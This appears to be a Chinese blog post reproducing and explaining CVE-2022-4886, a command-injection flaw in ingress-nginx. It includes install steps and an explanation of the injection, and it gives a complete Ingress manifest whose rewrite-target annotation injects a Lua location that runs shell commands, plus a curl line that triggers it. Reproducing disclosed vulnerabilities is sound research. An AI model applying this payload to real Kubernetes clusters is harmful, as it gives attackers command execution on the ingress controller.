CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
aFakeProgramer1 小时前
Linux版本兼容问题及RTA-VRTE环境配置笔记
linux·笔记
Zhu7581 小时前
在Ubuntu24快速配置专用SFTP
linux·sftp
码农客栈2 小时前
Linux 内核顶层 Makefile 详解
linux
Embedded-Xin2 小时前
Rust学习——Cargo工具
linux·学习·架构·rust·嵌入式
weixin_435776112 小时前
2026年长沙托育vi设计从风格定位到元素运用的设计方法
linux·运维·服务器·python
benjiangliu3 小时前
LINUX系统-19-库制作与原理(一)
linux·运维·服务器
FriendshipT4 小时前
Ubuntu 20.04 下使用 Ollama 本地部署 AI 大模型
linux·人工智能·python·深度学习·ubuntu
bellus-5 小时前
win11使用ubuntu 26.04
linux·运维·ubuntu
略略略咯咯5 小时前
centos更换镜像源
linux·运维·centos
j7~5 小时前
【Linux】二十七.线程篇四《Linux多线程编程:线程互斥(互斥量的底层到封装)、线程安全和冲入、死锁》---详解
linux·开发语言·c++·线程安全·死锁·线程互斥·重入